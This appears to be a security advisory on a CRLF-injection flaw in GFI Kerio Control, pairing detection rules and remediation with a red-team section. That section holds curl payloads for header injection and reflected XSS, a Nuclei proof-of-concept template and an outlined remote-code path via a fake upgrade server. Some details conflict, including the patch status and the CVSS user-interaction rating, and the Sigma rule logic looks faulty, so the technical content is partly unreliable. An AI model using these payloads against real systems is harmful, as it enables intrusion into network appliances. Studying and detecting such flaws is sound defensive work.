CVE-2024-52875

Executive Summary

CVE-2024-52875 is a critical vulnerability in GFI Kerio Control versions 9.2.5 through 9.4.5. The flaw resides in the improper sanitization of the dest GET parameter passed to the /nonauth/addCertException.cs, /nonauth/guestConfirm.cs, and /nonauth/expiration.cs pages. This lack of sanitization allows an attacker to inject CRLF sequences into the HTTP response, leading to HTTP Response Splitting and Open Redirect attacks. These can be chained to achieve Reflected Cross-Site Scripting (XSS) and, by leveraging the admin upgrade feature, remote command execution. The vulnerability is publicly known with a proof-of-concept (PoC) available via a Nuclei template, and the vendor has not yet released a patch.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a network appliance vulnerability in GFI Kerio Control.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the low complexity of exploitation, the lack of required privileges or user interaction, and the potential for full system compromise through remote command execution.

Deep Dive & Mechanics

The vulnerability is a classic CRLF injection (CWE-74) in the HTTP response headers. The dest parameter is used to construct a Location header for a 302 redirect. When an attacker supplies a value containing URL-encoded CRLF sequences (e.g., %0d%0a), the server fails to sanitize them, allowing the injection of arbitrary HTTP headers and body content.

Attack Chain:

1. HTTP Response Splitting: The attacker sends a request to a vulnerable endpoint with a malicious dest parameter containing CRLF sequences. The server responds with a 302 redirect, but the injected CRLF sequences allow the attacker to terminate the original response and start a new one.
2. Reflected XSS: By injecting a complete HTTP response, the attacker can include a malicious script (e.g., <script>alert(document.domain)</script>) that will be executed in the victim's browser.
3. Remote Command Execution: The attacker can leverage the admin interface's upgrade feature. By crafting a malicious response that mimics a legitimate upgrade server, the attacker can trick the admin interface into downloading and executing arbitrary code.

The Nuclei template confirms the vulnerability by sending a base64-encoded payload (VGVzdA0KQ1JMRjo=) that decodes to Test\r\nCRLF:. The server's response is checked for the presence of the injected header Crlf:, confirming the CRLF injection.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly using user input in the Location header
string dest = Request.QueryString["dest"];
Response.Redirect(dest);

Patched Code (Conceptual):

// Patched: Sanitize the input to remove CRLF characters
string dest = Request.QueryString["dest"];
dest = dest.Replace("\r", "").Replace("\n", "");
Response.Redirect(dest);

The patched code removes CRLF characters from the user input before using it in the Location header, preventing injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable instance of GFI Kerio Control (version 9.2.5 to 9.4.5).
• A tool like curl or Burp Suite.

Exploitation Steps:

1. Verify CRLF Injection:

   curl -v "http://<target>/nonauth/guestConfirm.cs?dest=VGVzdA0KQ1JMRjo%3d"
   

   Look for the Crlf: header in the response.

2. Reflected XSS:

   curl -v "http://<target>/nonauth/guestConfirm.cs?dest=Cgo8c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD4%3d"
   

   The base64-decoded payload is \n\n<script>alert(document.domain)</script>. The injected script will execute in the victim's browser.

3. Remote Command Execution (Conceptual):

   • Set up a malicious HTTP server that mimics the Kerio Control upgrade server.
   • Craft a response that includes a malicious update package.
   • Use the CRLF injection to redirect the admin interface to your malicious server during the upgrade process.

Blue Team

Detection Steps:

1. Monitor HTTP Logs: Look for requests to /nonauth/addCertException.cs, /nonauth/guestConfirm.cs, or /nonauth/expiration.cs with suspicious dest parameters containing URL-encoded CRLF sequences (%0d%0a, %0a, %0d).
2. Analyze Response Headers: Check for unexpected headers or multiple Location headers in 302 responses.
3. Deploy WAF Rules: Create rules to block requests containing CRLF sequences in the dest parameter.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /nonauth/addCertException.cs, /nonauth/guestConfirm.cs, or /nonauth/expiration.cs with dest parameters containing %0d%0a, %0a, or %0d.
  • HTTP responses with status 302 and multiple Location headers or injected headers like Crlf:.
• Host IOCs:
  • Unexpected files in the Kerio Control installation directory.
  • Unauthorized processes running on the Kerio Control server.
• Log IOCs:
  • Web server logs showing requests with base64-encoded payloads in the dest parameter.

Detection Engineering

YARA Rule

rule CVE_2024_52875_Kerio_Control_CRLF_Injection {
    meta:
        description = "Detects CRLF injection attempts in Kerio Control"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-52875"
    strings:
        $crlf1 = "%0d%0a" nocase
        $crlf2 = "%0a" nocase
        $crlf3 = "%0d" nocase
        $path1 = "/nonauth/addCertException.cs" nocase
        $path2 = "/nonauth/guestConfirm.cs" nocase
        $path3 = "/nonauth/expiration.cs" nocase
    condition:
        any of ($path*) and any of ($crlf*)
}

Sigma Rule

title: CVE-2024-52875 Kerio Control CRLF Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects CRLF injection attempts in Kerio Control
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '/nonauth/addCertException.cs?dest='
            - '/nonauth/guestConfirm.cs?dest='
            - '/nonauth/expiration.cs?dest='
        cs-uri-query|contains|all:
            - '%0d'
            - '%0a'
    condition: selection
falsepositives:
    - Legitimate use of encoded characters in other contexts
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-52875 Kerio Control CRLF Injection"; flow:to_server; content:"/nonauth/"; http_uri; pcre:"/(addCertException|guestConfirm|expiration)\.cs\?dest=/i"; pcre:"/%0[dDaA]/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template

id: CVE-2024-52875

info:
  name: Kerio Control v9.2.5 - CRLF Injection
  author: ritikchaddha,iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Kerio Control, formerly known as Kerio WinRoute Firewall, has been found vulnerable to multiple HTTP Response Splitting vulnerabilities in product affecting versions 9.2.5
  impact: |
    Attackers can perform HTTP response splitting attacks to inject arbitrary HTTP headers and content, potentially leading to XSS, cache poisoning, or session hijacking.
  remediation: |
    Update Kerio Control to a version later than 9.2.5 that addresses the CRLF injection vulnerability.
  reference:
    - https://karmainsecurity.com/hacking-kerio-control-via-cve-2024-52875
    - https://nvd.nist.gov/vuln/detail/CVE-2024-52875
  classification:
    cve-id: CVE-2024-52875
    cwe-id: CWE-74
    epss-score: 0.78566
    epss-percentile: 0.99047
  metadata:
    verified: true
    max-request: 4
    shodan-query: "Kerio Control"
    fofa-query: "Kerio Control"
  tags: cve,cve2024,kerio,crlf,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/nonauth/guestConfirm.cs?dest=VGVzdA0KQ1JMRjo%3d"
      - "{{BaseURL}}/nonauth/addCertException.cs?dest=VGVzdA0KQ1JMRjo%3d"
      - "{{BaseURL}}/nonauth/expiration.cs?dest=VGVzdA0KQ1JMRjo%3d"
      - "{{BaseURL}}/nonauth/guestConfirm.cs?dest=Cgo8c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD4%3d"

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^Crlf:\s*$'

      - type: dsl
        dsl:
          - "contains(body,'<script>alert(document.domain)</script>')"
          - 'contains(content_type, "text/html")'
          - 'contains(location, "")'
          - 'status_code == 302'
        condition: and

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: If possible, isolate the Kerio Control appliance from the network until a patch is applied.
2. Deploy WAF Rules: Implement web application firewall (WAF) rules to block requests containing CRLF sequences in the dest parameter.
3. Monitor Logs: Actively monitor web server logs for signs of exploitation.

Long-Term Fix:

1. Apply Vendor Patch: The vendor (GFI) must release a patch that properly sanitizes the dest parameter. Monitor the vendor's website for updates.
2. Upgrade Software: Upgrade to a patched version of Kerio Control as soon as it becomes available.
3. Code Review: Conduct a code review of the application to identify and fix similar injection vulnerabilities.

Valters IT

{/* [Security Hash: 3946848A6B60645462C1B48C] */}